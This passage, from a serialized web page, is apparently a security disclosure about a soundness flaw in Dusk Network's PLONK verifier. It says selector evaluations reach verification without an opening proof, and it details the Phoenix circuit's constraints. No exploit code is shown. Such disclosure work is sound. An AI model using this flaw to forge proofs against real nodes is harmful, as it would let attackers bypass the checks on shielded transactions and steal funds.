hildren":149466},{"className":149465,"style":98713},[9665],[149467],{"type":24,"tag":147,"props":149468,"children":149469},{},[],{"type":24,"tag":147,"props":149471,"children":149473},{"className":149472},[27319],[149474],{"type":29,"value":480},{"type":24,"tag":147,"props":149476,"children":149478},{"className":149477,"style":119177},[9635,27190],[149479],{"type":29,"value":119180},{"type":24,"tag":147,"props":149481,"children":149483},{"className":149482},[27341],[149484],{"type":29,"value":8758},{"type":29,"value":546},{"type":24,"tag":80,"props":149487,"children":149489},{"className":149488},[9607,9608],[149490],{"type":24,"tag":147,"props":149491,"children":149493},{"className":149492},[9613],[149494],{"type":24,"tag":147,"props":149495,"children":149497},{"className":149496,"ariaHidden":9619},[9618],[149498],{"type":24,"tag":147,"props":149499,"children":149501},{"className":149500},[9624],[149502,149506,149511,149516,149521,149527],{"type":24,"tag":147,"props":149503,"children":149505},{"className":149504,"style":9735},[9629],[],{"type":24,"tag":147,"props":149507,"children":149509},{"className":149508},[9635,27190],[149510],{"type":29,"value":2773},{"type":24,"tag":147,"props":149512,"children":149514},{"className":149513},[27319],[149515],{"type":29,"value":480},{"type":24,"tag":147,"props":149517,"children":149519},{"className":149518,"style":119177},[9635,27190],[149520],{"type":29,"value":119180},{"type":24,"tag":147,"props":149522,"children":149524},{"className":149523,"style":99116},[9635,27190],[149525],{"type":29,"value":149526},"ω",{"type":24,"tag":147,"props":149528,"children":149530},{"className":149529},[27341],[149531],{"type":29,"value":8758},{"type":29,"value":149533},"), which are safe because the opening binds them to previously committed polynomials. A third category consists of verifier-key commitments used directly in the linearization multiscalar multiplication (",{"type":24,"tag":80,"props":149535,"children":149537},{"className":149536},[9607,9608],[149538],{"type":24,"tag":147,"props":149539,"children":149541},{"className":149540},[9613],[149542],{"type":24,"tag":147,"props":149543,"children":149545},{"className":149544,"ariaHidden":9619},[9618],[149546],{"type":24,"tag":147,"props":149547,"children":149549},{"className":149548},[9624],[149550,149554,149559,149616],{"type":24,"tag":147,"props":149551,"children":149553},{"className":149552,"style":9735},[9629],[],{"type":24,"tag":147,"props":149555,"children":149557},{"className":149556},[27319],[149558],{"type":29,"value":9358},{"type":24,"tag":147,"props":149560,"children":149562},{"className":149561},[9635],[149563,149568],{"type":24,"tag":147,"props":149564,"children":149566},{"className":149565,"style":99116},[9635,27190],[149567],{"type":29,"value":99119},{"type":24,"tag":147,"props":149569,"children":149571},{"className":149570},[9650],[149572],{"type":24,"tag":147,"props":149573,"children":149575},{"className":149574},[9655,27244],[149576,149605],{"type":24,"tag":147,"props":149577,"children":149579},{"className":149578},[9660],[149580,149600],{"type":24,"tag":147,"props":149581,"children":149583},{"className":149582,"style":147391},[9665],[149584],{"type":24,"tag":147,"props":149585,"children":149586},{"style":99163},[149587,149591],{"type":24,"tag":147,"props":149588,"children":149590},{"className":149589,"style":9675},[9674],[],{"type":24,"tag":147,"props":149592,"children":149594},{"className":149593},[9680,9681,9682,9683],[149595],{"type":24,"tag":147,"props":149596,"children":149598},{"className":149597,"style":100638},[9635,27190,9683],[149599],{"type":29,"value":100641},{"type":24,"tag":147,"props":149601,"children":149603},{"className":149602},[27347],[149604],{"type":29,"value":27350},{"type":24,"tag":147,"props":149606,"children":149608},{"className":149607},[9660],[149609],{"type":24,"tag":147,"props":149610,"children":149612},{"className":149611,"style":98713},[9665],[149613],{"type":24,"tag":147,"props":149614,"children":149615},{},[],{"type":24,"tag":147,"props":149617,"children":149619},{"className":149618},[27341],[149620],{"type":29,"value":21023},{"type":29,"value":546},{"type":24,"tag":80,"props":149623,"children":149625},{"className":149624},[9607,9608],[149626],{"type":24,"tag":147,"props":149627,"children":149629},{"className":149628},[9613],[149630],{"type":24,"tag":147,"props":149631,"children":149633},{"className":149632,"ariaHidden":9619},[9618],[149634],{"type":24,"tag":147,"props":149635,"children":149637},{"className":149636},[9624],[149638,149642,149647,149704],{"type":24,"tag":147,"props":149639,"children":149641},{"className":149640,"style":9735},[9629],[],{"type":24,"tag":147,"props":149643,"children":149645},{"className":149644},[27319],[149646],{"type":29,"value":9358},{"type":24,"tag":147,"props":149648,"children":149650},{"className":149649},[9635],[149651,149656],{"type":24,"tag":147,"props":149652,"children":149654},{"className":149653,"style":99116},[9635,27190],[149655],{"type":29,"value":99119},{"type":24,"tag":147,"props":149657,"children":149659},{"className":149658},[9650],[149660],{"type":24,"tag":147,"props":149661,"children":149663},{"className":149662},[9655,27244],[149664,149693],{"type":24,"tag":147,"props":149665,"children":149667},{"className":149666},[9660],[149668,149688],{"type":24,"tag":147,"props":149669,"children":149671},{"className":149670,"style":147391},[9665],[149672],{"type":24,"tag":147,"props":149673,"children":149674},{"style":99163},[149675,149679],{"type":24,"tag":147,"props":149676,"children":149678},{"className":149677,"style":9675},[9674],[],{"type":24,"tag":147,"props":149680,"children":149682},{"className":149681},[9680,9681,9682,9683],[149683],{"type":24,"tag":147,"props":149684,"children":149686},{"className":149685,"style":98630},[9635,27190,9683],[149687],{"type":29,"value":120939},{"type":24,"tag":147,"props":149689,"children":149691},{"className":149690},[27347],[149692],{"type":29,"value":27350},{"type":24,"tag":147,"props":149694,"children":149696},{"className":149695},[9660],[149697],{"type":24,"tag":147,"props":149698,"children":149700},{"className":149699,"style":98713},[9665],[149701],{"type":24,"tag":147,"props":149702,"children":149703},{},[],{"type":24,"tag":147,"props":149705,"children":149707},{"className":149706},[27341],[149708],{"type":29,"value":21023},{"type":29,"value":546},{"type":24,"tag":80,"props":149711,"children":149713},{"className":149712},[9607,9608],[149714],{"type":24,"tag":147,"props":149715,"children":149717},{"className":149716},[9613],[149718],{"type":24,"tag":147,"props":149719,"children":149721},{"className":149720,"ariaHidden":9619},[9618],[149722],{"type":24,"tag":147,"props":149723,"children":149725},{"className":149724},[9624],[149726,149730,149735,149792],{"type":24,"tag":147,"props":149727,"children":149729},{"className":149728,"style":9735},[9629],[],{"type":24,"tag":147,"props":149731,"children":149733},{"className":149732},[27319],[149734],{"type":29,"value":9358},{"type":24,"tag":147,"props":149736,"children":149738},{"className":149737},[9635],[149739,149744],{"type":24,"tag":147,"props":149740,"children":149742},{"className":149741,"style":99116},[9635,27190],[149743],{"type":29,"value":149421},{"type":24,"tag":147,"props":149745,"children":149747},{"className":149746},[9650],[149748],{"type":24,"tag":147,"props":149749,"children":149751},{"className":149750},[9655,27244],[149752,149781],{"type":24,"tag":147,"props":149753,"children":149755},{"className":149754},[9660],[149756,149776],{"type":24,"tag":147,"props":149757,"children":149759},{"className":149758,"style":98682},[9665],[149760],{"type":24,"tag":147,"props":149761,"children":149762},{"style":99163},[149763,149767],{"type":24,"tag":147,"props":149764,"children":149766},{"className":149765,"style":9675},[9674],[],{"type":24,"tag":147,"props":149768,"children":149770},{"className":149769},[9680,9681,9682,9683],[149771],{"type":24,"tag":147,"props":149772,"children":149774},{"className":149773},[9635,9683],[149775],{"type":29,"value":23134},{"type":24,"tag":147,"props":149777,"children":149779},{"className":149778},[27347],[149780],{"type":29,"value":27350},{"type":24,"tag":147,"props":149782,"children":149784},{"className":149783},[9660],[149785],{"type":24,"tag":147,"props":149786,"children":149788},{"className":149787,"style":98713},[9665],[149789],{"type":24,"tag":147,"props":149790,"children":149791},{},[],{"type":24,"tag":147,"props":149793,"children":149795},{"className":149794},[27341],[149796],{"type":29,"value":21023},{"type":29,"value":149798},"), which are safe because the verifier never trusts a bare field element for these; it uses the commitment itself.",{"type":24,"tag":25,"props":149800,"children":149801},{},[149802],{"type":29,"value":149803},"Any term that falls outside those three categories is attacker-controlled by construction.",{"type":24,"tag":2665,"props":149805,"children":149806},{},[],{"type":24,"tag":32,"props":149808,"children":149810},{"id":149809},"where-dusk-plonk-differs-from-textbook-plonk",[149811],{"type":29,"value":149812},"Where dusk-plonk differs from textbook PLONK",{"type":24,"tag":25,"props":149814,"children":149815},{},[149816,149825,149827,149832,149834,149864],{"type":24,"tag":2773,"props":149817,"children":149819},{"href":146691,"rel":149818},[2777],[149820],{"type":24,"tag":80,"props":149821,"children":149823},{"className":149822},[],[149824],{"type":29,"value":146695},{"type":29,"value":149826}," is not a literal transcription of the 2019 PLONK paper. It extends the arithmetic gate with a fourth wire ",{"type":24,"tag":80,"props":149828,"children":149830},{"className":149829},[],[149831],{"type":29,"value":76147},{"type":29,"value":149833},", adds custom widgets for range, logic, and elliptic-curve operations, uses shifted evaluations at ",{"type":24,"tag":80,"props":149835,"children":149837},{"className":149836},[9607,9608],[149838],{"type":24,"tag":147,"props":149839,"children":149841},{"className":149840},[9613],[149842],{"type":24,"tag":147,"props":149843,"children":149845},{"className":149844,"ariaHidden":9619},[9618],[149846],{"type":24,"tag":147,"props":149847,"children":149849},{"className":149848},[9624],[149850,149854,149859],{"type":24,"tag":147,"props":149851,"children":149853},{"className":149852,"style":116462},[9629],[],{"type":24,"tag":147,"props":149855,"children":149857},{"className":149856,"style":119177},[9635,27190],[149858],{"type":29,"value":119180},{"type":24,"tag":147,"props":149860,"children":149862},{"className":149861,"style":99116},[9635,27190],[149863],{"type":29,"value":149526},{"type":29,"value":149865},", and heavily batches KZG openings. None of that is exotic by modern PLONK standards, but it does make the verifier harder to reason about than the minimal paper presentation.",{"type":24,"tag":25,"props":149867,"children":149868},{},[149869,149871,149876,149877,149882,149884,149890,149892,149899],{"type":29,"value":149870},"The important part for this bug is the boundary between ",{"type":24,"tag":10949,"props":149872,"children":149873},{},[149874],{"type":29,"value":149875},"public circuit data",{"type":29,"value":855},{"type":24,"tag":10949,"props":149878,"children":149879},{},[149880],{"type":29,"value":149881},"prover claims about that data at the random challenge point",{"type":29,"value":149883},". Parallel implementations avoid this ambiguity by keeping selector polynomials strictly out of the prover's hands. For example, Consensys' gnark (one of the most widely deployed PLONK implementations) never asks the prover for selector evaluations at all. Instead, the verifier incorporates the selector commitments ",{"type":24,"tag":80,"props":149885,"children":149887},{"className":149886},[],[149888],{"type":29,"value":149889},"Ql, Qr, Qm, Qo, Qk",{"type":29,"value":149891}," directly into the ",{"type":24,"tag":2773,"props":149893,"children":149896},{"href":149894,"rel":149895},"https://github.com/Consensys/gnark/blob/17b079f1b813d9dafd465202466b09f282b4c5e9/backend/plonk/bls12-381/verify.go#L253-L270",[2777],[149897],{"type":29,"value":149898},"linearization multi-scalar multiplication",{"type":29,"value":149900},", ensuring their values are cryptographically bound by construction.",{"type":24,"tag":25,"props":149902,"children":149903},{},[149904,149906,149931],{"type":29,"value":149905},"Dusk's custom widgets were more complex (multiplying selectors with other evaluated terms), so they could not just use a simple linear combination of commitments. Their architecture required evaluating the selectors at ",{"type":24,"tag":80,"props":149907,"children":149909},{"className":149908},[9607,9608],[149910],{"type":24,"tag":147,"props":149911,"children":149913},{"className":149912},[9613],[149914],{"type":24,"tag":147,"props":149915,"children":149917},{"className":149916,"ariaHidden":9619},[9618],[149918],{"type":24,"tag":147,"props":149919,"children":149921},{"className":149920},[9624],[149922,149926],{"type":24,"tag":147,"props":149923,"children":149925},{"className":149924,"style":116462},[9629],[],{"type":24,"tag":147,"props":149927,"children":149929},{"className":149928,"style":119177},[9635,27190],[149930],{"type":29,"value":119180},{"type":29,"value":149932}," and using those scalars. But while they serialized those four selector evaluations into the proof struct, they never actually verified them against the verifier key's commitments through an opening proof.",{"type":24,"tag":25,"props":149934,"children":149935},{},[149936],{"type":29,"value":149937},"The shortest way to see the bug is the graph below: safe values flow through the opening path toward the final pairing check, while the red selector flow enters verifier logic without ever touching an opening proof.",{"type":24,"tag":149939,"props":149940,"children":149941},"dusk-verifier-dependence-graph",{},[],{"type":24,"tag":2665,"props":149943,"children":149944},{},[],{"type":24,"tag":32,"props":149946,"children":149948},{"id":149947},"how-dusk-uses-plonk",[149949],{"type":29,"value":149950},"How Dusk uses PLONK",{"type":24,"tag":25,"props":149952,"children":149953},{},[149954,149960],{"type":24,"tag":2773,"props":149955,"children":149957},{"href":146700,"rel":149956},[2777],[149958],{"type":29,"value":149959},"Dusk Network",{"type":29,"value":149961}," is a privacy-focused L1 blockchain. Its transaction model has two modes:",{"type":24,"tag":22292,"props":149963,"children":149964},{},[149965,149970],{"type":24,"tag":2678,"props":149966,"children":149967},{},[149968],{"type":29,"value":149969},"Phoenix (shielded): amounts and participants are hidden using ZK proofs, and every Phoenix transaction carries a PLONK proof that the transaction is valid.",{"type":24,"tag":2678,"props":149971,"children":149972},{},[149973],{"type":29,"value":149974},"Moonlight (transparent): standard account-based transactions verified by BLS signatures, with no PLONK involvement.",{"type":24,"tag":25,"props":149976,"children":149977},{},[149978,149980,149991,149993,150004],{"type":29,"value":149979},"At node level, every ",{"type":24,"tag":2773,"props":149981,"children":149984},{"href":149982,"rel":149983},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/node/vm.rs#L152-L185",[2777],[149985],{"type":24,"tag":80,"props":149986,"children":149988},{"className":149987},[],[149989],{"type":29,"value":149990},"ProtocolTransaction::Phoenix",{"type":29,"value":149992}," goes through ",{"type":24,"tag":2773,"props":149994,"children":149997},{"href":149995,"rel":149996},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/verifier.rs#L71-L82",[2777],[149998],{"type":24,"tag":80,"props":149999,"children":150001},{"className":150000},[],[150002],{"type":29,"value":150003},"verify_proof_with_version()",{"type":29,"value":150005}," during preverification. If that PLONK proof verifies, the transaction is admitted to the mempool and can later be mined into a block. Moonlight-path transactions instead go through BLS signature verification.",{"type":24,"tag":25,"props":150007,"children":150008},{},[150009,150011,150022,150024,150035,150036,150047,150048,150059,150060,150071],{"type":29,"value":150010},"That same Phoenix proof path covers more than simple shielded transfers. Phoenix-path staking, reward withdrawals, unstaking, and Phoenix-to-Moonlight conversion all build a Phoenix transaction via ",{"type":24,"tag":2773,"props":150012,"children":150015},{"href":150013,"rel":150014},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L54-L95",[2777],[150016],{"type":24,"tag":80,"props":150017,"children":150019},{"className":150018},[],[150020],{"type":29,"value":150021},"phoenix()",{"type":29,"value":150023},", for example in ",{"type":24,"tag":2773,"props":150025,"children":150028},{"href":150026,"rel":150027},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L144-L186",[2777],[150029],{"type":24,"tag":80,"props":150030,"children":150032},{"className":150031},[],[150033],{"type":29,"value":150034},"phoenix_stake()",{"type":29,"value":546},{"type":24,"tag":2773,"props":150037,"children":150040},{"href":150038,"rel":150039},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L240-L298",[2777],[150041],{"type":24,"tag":80,"props":150042,"children":150044},{"className":150043},[],[150045],{"type":29,"value":150046},"phoenix_stake_reward()",{"type":29,"value":546},{"type":24,"tag":2773,"props":150049,"children":150052},{"href":150050,"rel":150051},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L358-L416",[2777],[150053],{"type":24,"tag":80,"props":150054,"children":150056},{"className":150055},[],[150057],{"type":29,"value":150058},"phoenix_unstake()",{"type":29,"value":12113},{"type":24,"tag":2773,"props":150061,"children":150064},{"href":150062,"rel":150063},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L481-L539",[2777],[150065],{"type":24,"tag":80,"props":150066,"children":150068},{"className":150067},[],[150069],{"type":29,"value":150070},"phoenix_to_moonlight()",{"type":29,"value":150072},". So if Phoenix proof verification is unsound, the entire shielded transaction path is exposed.",{"type":24,"tag":25,"props":150074,"children":150075},{},[150076],{"type":24,"tag":63,"props":150077,"children":150080},{"alt":150078,"src":150079},"phoenix_moonlight","/posts/dusk-commitment-issues/phoenix_moonlight.svg",[],{"type":24,"tag":25,"props":150082,"children":150083},{},[150084,150086,150092,150094,150101],{"type":29,"value":150085},"The PLONK implementation, ",{"type":24,"tag":2773,"props":150087,"children":150090},{"href":150088,"rel":150089},"https://github.com/dusk-network/plonk",[2777],[150091],{"type":29,"value":146695},{"type":29,"value":150093},", is a standalone library by the Dusk team. It was among the first PLONK implementations written, with development starting the same year ",{"type":24,"tag":2773,"props":150095,"children":150098},{"href":150096,"rel":150097},"https://eprint.iacr.org/archive/2019/953/1566424053.pdf",[2777],[150099],{"type":29,"value":150100},"the original paper",{"type":29,"value":150102}," was released.",{"type":24,"tag":25,"props":150104,"children":150105},{},[150106,150108,150114],{"type":29,"value":150107},"The Phoenix transaction PLONK circuit is defined ",{"type":24,"tag":2773,"props":150109,"children":150112},{"href":150110,"rel":150111},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L20-L205",[2777],[150113],{"type":29,"value":8440},{"type":29,"value":150115},". The circuit enforces the following set of constraints:",{"type":24,"tag":61332,"props":150117,"children":150118},{},[150119,150135],{"type":24,"tag":128571,"props":150120,"children":150121},{},[150122],{"type":24,"tag":128575,"props":150123,"children":150124},{},[150125,150130],{"type":24,"tag":128579,"props":150126,"children":150127},{},[150128],{"type":29,"value":150129},"Circuit check",{"type":24,"tag":128579,"props":150131,"children":150132},{},[150133],{"type":29,"value":150134},"Statement being checked",{"type":24,"tag":128599,"props":150136,"children":150137},{},[150138,150156,150174,150192,150210,150367,150507,150525],{"type":24,"tag":128575,"props":150139,"children":150140},{},[150141,150151],{"type":24,"tag":128606,"props":150142,"children":150143},{},[150144],{"type":24,"tag":2773,"props":150145,"children":150148},{"href":150146,"rel":150147},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L106-L126",[2777],[150149],{"type":29,"value":150150},"Merkle tree membership",{"type":24,"tag":128606,"props":150152,"children":150153},{},[150154],{"type":29,"value":150155},"Each input note hash is opened against the public Merkle root, so only notes already in the note tree may be spent",{"type":24,"tag":128575,"props":150157,"children":150158},{},[150159,150169],{"type":24,"tag":128606,"props":150160,"children":150161},{},[150162],{"type":24,"tag":2773,"props":150163,"children":150166},{"href":150164,"rel":150165},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L70-L79",[2777],[150167],{"type":29,"value":150168},"Input-note secret-key authorization",{"type":24,"tag":128606,"props":150170,"children":150171},{},[150172],{"type":29,"value":150173},"The prover knows the secret key controlling each input note",{"type":24,"tag":128575,"props":150175,"children":150176},{},[150177,150187],{"type":24,"tag":128606,"props":150178,"children":150179},{},[150180],{"type":24,"tag":2773,"props":150181,"children":150184},{"href":150182,"rel":150183},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L81-L87",[2777],[150185],{"type":29,"value":150186},"Nullifier correctness",{"type":24,"tag":128606,"props":150188,"children":150189},{},[150190],{"type":29,"value":150191},"Each nullifier matches the corresponding note key and position",{"type":24,"tag":128575,"props":150193,"children":150194},{},[150195,150205],{"type":24,"tag":128606,"props":150196,"children":150197},{},[150198],{"type":24,"tag":2773,"props":150199,"children":150202},{"href":150200,"rel":150201},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L149-L160",[2777],[150203],{"type":29,"value":150204},"Output value commitment correctness",{"type":24,"tag":128606,"props":150206,"children":150207},{},[150208],{"type":29,"value":150209},"Each public output commitment matches the secret output value and blinder",{"type":24,"tag":128575,"props":150211,"children":150212},{},[150213,150223],{"type":24,"tag":128606,"props":150214,"children":150215},{},[150216],{"type":24,"tag":2773,"props":150217,"children":150220},{"href":150218,"rel":150219},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L167-L178",[2777],[150221],{"type":29,"value":150222},"Balance integrity",{"type":24,"tag":128606,"props":150224,"children":150225},{},[150226],{"type":24,"tag":80,"props":150227,"children":150229},{"className":150228},[9607,9608],[150230],{"type":24,"tag":147,"props":150231,"children":150233},{"className":150232},[9613],[150234],{"type":24,"tag":147,"props":150235,"children":150237},{"className":150236,"ariaHidden":9619},[9618],[150238,150278,150318,150350],{"type":24,"tag":147,"props":150239,"children":150241},{"className":150240},[9624],[150242,150246,150251,150255,150265,150269,150274],{"type":24,"tag":147,"props":150243,"children":150245},{"className":150244,"style":9735},[9629],[],{"type":24,"tag":147,"props":150247,"children":150249},{"className":150248,"style":27233},[27226,27231,27232],[150250],{"type":29,"value":114416},{"type":24,"tag":147,"props":150252,"children":150254},{"className":150253,"style":9753},[9714],[],{"type":24,"tag":147,"props":150256,"children":150258},{"className":150257},[9635,29],[150259],{"type":24,"tag":147,"props":150260,"children":150262},{"className":150261},[9635],[150263],{"type":29,"value":150264},"inputs",{"type":24,"tag":147,"props":150266,"children":150268},{"className":150267,"style":9812},[9714],[],{"type":24,"tag":147,"props":150270,"children":150272},{"className":150271},[9817],[150273],{"type":29,"value":369},{"type":24,"tag":147,"props":150275,"children":150277},{"className":150276,"style":9812},[9714],[],{"type":24,"tag":147,"props":150279,"children":150281},{"className":150280},[9624],[150282,150286,150291,150295,150305,150309,150314],{"type":24,"tag":147,"props":150283,"children":150285},{"className":150284,"style":9735},[9629],[],{"type":24,"tag":147,"props":150287,"children":150289},{"className":150288,"style":27233},[27226,27231,27232],[150290],{"type":29,"value":114416},{"type":24,"tag":147,"props":150292,"children":150294},{"className":150293,"style":9753},[9714],[],{"type":24,"tag":147,"props":150296,"children":150298},{"className":150297},[9635,29],[150299],{"type":24,"tag":147,"props":150300,"children":150302},{"className":150301},[9635],[150303],{"type":29,"value":150304},"outputs",{"type":24,"tag":147,"props":150306,"children":150308},{"className":150307,"style":9715},[9714],[],{"type":24,"tag":147,"props":150310,"children":150312},{"className":150311},[9720],[150313],{"type":29,"value":624},{"type":24,"tag":147,"props":150315,"children":150317},{"className":150316,"style":9715},[9714],[],{"type":24,"tag":147,"props":150319,"children":150321},{"className":150320},[9624],[150322,150327,150337,150341,150346],{"type":24,"tag":147,"props":150323,"children":150326},{"className":150324,"style":150325},[9629],"height:0.7778em;vertical-align:-0.0833em;",[],{"type":24,"tag":147,"props":150328,"children":150330},{"className":150329},[9635,29],[150331],{"type":24,"tag":147,"props":150332,"children":150334},{"className":150333},[9635],[150335],{"type":29,"value":150336},"fee",{"type":24,"tag":147,"props":150338,"children":150340},{"className":150339,"style":9715},[9714],[],{"type":24,"tag":147,"props":150342,"children":150344},{"className":150343},[9720],[150345],{"type":29,"value":624},{"type":24,"tag":147,"props":150347,"children":150349},{"className":150348,"style":9715},[9714],[],{"type":24,"tag":147,"props":150351,"children":150353},{"className":150352},[9624],[150354,150358],{"type":24,"tag":147,"props":150355,"children":150357},{"className":150356,"style":120675},[9629],[],{"type":24,"tag":147,"props":150359,"children":150361},{"className":150360},[9635,29],[150362],{"type":24,"tag":147,"props":150363,"children":150365},{"className":150364},[9635],[150366],{"type":29,"value":67545},{"type":24,"tag":128575,"props":150368,"children":150369},{},[150370,150387],{"type":24,"tag":128606,"props":150371,"children":150372},{},[150373,150380,150381],{"type":24,"tag":2773,"props":150374,"children":150377},{"href":150375,"rel":150376},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L89-L90",[2777],[150378],{"type":29,"value":150379},"Range checks on inputs",{"type":29,"value":855},{"type":24,"tag":2773,"props":150382,"children":150385},{"href":150383,"rel":150384},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L141-L142",[2777],[150386],{"type":29,"value":150304},{"type":24,"tag":128606,"props":150388,"children":150389},{},[150390,150392],{"type":29,"value":150391},"All note values lie in ",{"type":24,"tag":80,"props":150393,"children":150395},{"className":150394},[9607,9608],[150396],{"type":24,"tag":147,"props":150397,"children":150399},{"className":150398},[9613],[150400],{"type":24,"tag":147,"props":150401,"children":150403},{"className":150402,"ariaHidden":9619},[9618],[150404,150489],{"type":24,"tag":147,"props":150405,"children":150407},{"className":150406},[9624],[150408,150412,150417,150422,150427,150431,150476,150480,150485],{"type":24,"tag":147,"props":150409,"children":150411},{"className":150410,"style":120932},[9629],[],{"type":24,"tag":147,"props":150413,"children":150415},{"className":150414},[27319],[150416],{"type":29,"value":9358},{"type":24,"tag":147,"props":150418,"children":150420},{"className":150419},[9635],[150421],{"type":29,"value":3173},{"type":24,"tag":147,"props":150423,"children":150425},{"className":150424},[9746],[150426],{"type":29,"value":9749},{"type":24,"tag":147,"props":150428,"children":150430},{"className":150429,"style":9753},[9714],[],{"type":24,"tag":147,"props":150432,"children":150434},{"className":150433},[9635],[150435,150440],{"type":24,"tag":147,"props":150436,"children":150438},{"className":150437},[9635],[150439],{"type":29,"value":8753},{"type":24,"tag":147,"props":150441,"children":150443},{"className":150442},[9650],[150444],{"type":24,"tag":147,"props":150445,"children":150447},{"className":150446},[9655],[150448],{"type":24,"tag":147,"props":150449,"children":150451},{"className":150450},[9660],[150452],{"type":24,"tag":147,"props":150453,"children":150455},{"className":150454,"style":9630},[9665],[150456],{"type":24,"tag":147,"props":150457,"children":150458},{"style":9669},[150459,150463],{"type":24,"tag":147,"props":150460,"children":150462},{"className":150461,"style":9675},[9674],[],{"type":24,"tag":147,"props":150464,"children":150466},{"className":150465},[9680,9681,9682,9683],[150467],{"type":24,"tag":147,"props":150468,"children":150470},{"className":150469},[9635,9683],[150471],{"type":24,"tag":147,"props":150472,"children":150474},{"className":150473},[9635,9683],[150475],{"type":29,"value":35024},{"type":24,"tag":147,"props":150477,"children":150479},{"className":150478,"style":9715},[9714],[],{"type":24,"tag":147,"props":150481,"children":150483},{"className":150482},[9720],[150484],{"type":29,"value":9694},{"type":24,"tag":147,"props":150486,"children":150488},{"className":150487,"style":9715},[9714],[],{"type":24,"tag":147,"props":150490,"children":150492},{"className":150491},[9624],[150493,150497,150502],{"type":24,"tag":147,"props":150494,"children":150496},{"className":150495,"style":9735},[9629],[],{"type":24,"tag":147,"props":150498,"children":150500},{"className":150499},[9635],[150501],{"type":29,"value":1154},{"type":24,"tag":147,"props":150503,"children":150505},{"className":150504},[27341],[150506],{"type":29,"value":21023},{"type":24,"tag":128575,"props":150508,"children":150509},{},[150510,150520],{"type":24,"tag":128606,"props":150511,"children":150512},{},[150513],{"type":24,"tag":2773,"props":150514,"children":150517},{"href":150515,"rel":150516},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/sender_enc.rs#L28-L51",[2777],[150518],{"type":29,"value":150519},"Sender-authorship signatures",{"type":24,"tag":128606,"props":150521,"children":150522},{},[150523],{"type":29,"value":150524},"The transaction payload is signed by the sender's two signing key components",{"type":24,"tag":128575,"props":150526,"children":150527},{},[150528,150538],{"type":24,"tag":128606,"props":150529,"children":150530},{},[150531],{"type":24,"tag":2773,"props":150532,"children":150535},{"href":150533,"rel":150534},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/sender_enc.rs#L63-L121",[2777],[150536],{"type":29,"value":150537},"Sender encryption correctness",{"type":24,"tag":128606,"props":150539,"children":150540},{},[150541],{"type":29,"value":150542},"The sender data attached to each output note is a correct ElGamal encryption under the recipient note key",{"type":24,"tag":25,"props":150544,"children":150545},{},[150546,150548,150554,150556,150565],{"type":29,"value":150547},"Rusk does not consume these claims one by one. It consumes a single valid/invalid proof verdict over ",{"type":24,"tag":80,"props":150549,"children":150551},{"className":150550},[],[150552],{"type":29,"value":150553},"tx.public_inputs()",{"type":29,"value":150555}," via ",{"type":24,"tag":2773,"props":150557,"children":150559},{"href":149995,"rel":150558},[2777],[150560],{"type":24,"tag":80,"props":150561,"children":150563},{"className":150562},[],[150564],{"type":29,"value":150003},{"type":29,"value":87},{"type":24,"tag":25,"props":150567,"children":150568},{},[150569],{"type":29,"value":150570},"A soundness break in PLONK voids all of these constraints simultaneously, because forged selector evaluations make the entire circuit unconstrained rather than targeting any single check.",{"type":24,"tag":2665,"props":150572,"children":150573},{},[],{"type":24,"tag":32,"props":150575,"children":150576},{"id":95884},[150577],{"type":29,"value":150578},"The bug",{"type":24,"tag":25,"props":150580,"children":150581},{},[150582,150584,150591,150593,150604],{"type":29,"value":150583},"In the ",{"type":24,"tag":2773,"props":150585,"children":150588},{"href":150586,"rel":150587},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362-L400",[2777],[150589],{"type":29,"value":150590},"PLONK verification",{"type":29,"value":150592},", the verifier batches polynomial evaluations into a single KZG opening proof check. The evaluations included in this batch (committed via ",{"type":24,"tag":2773,"props":150594,"children":150597},{"href":150595,"rel":150596},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362-L373",[2777],[150598],{"type":24,"tag":80,"props":150599,"children":150601},{"className":150600},[],[150602],{"type":29,"value":150603},"E_evals",{"type":29,"value":150605},") 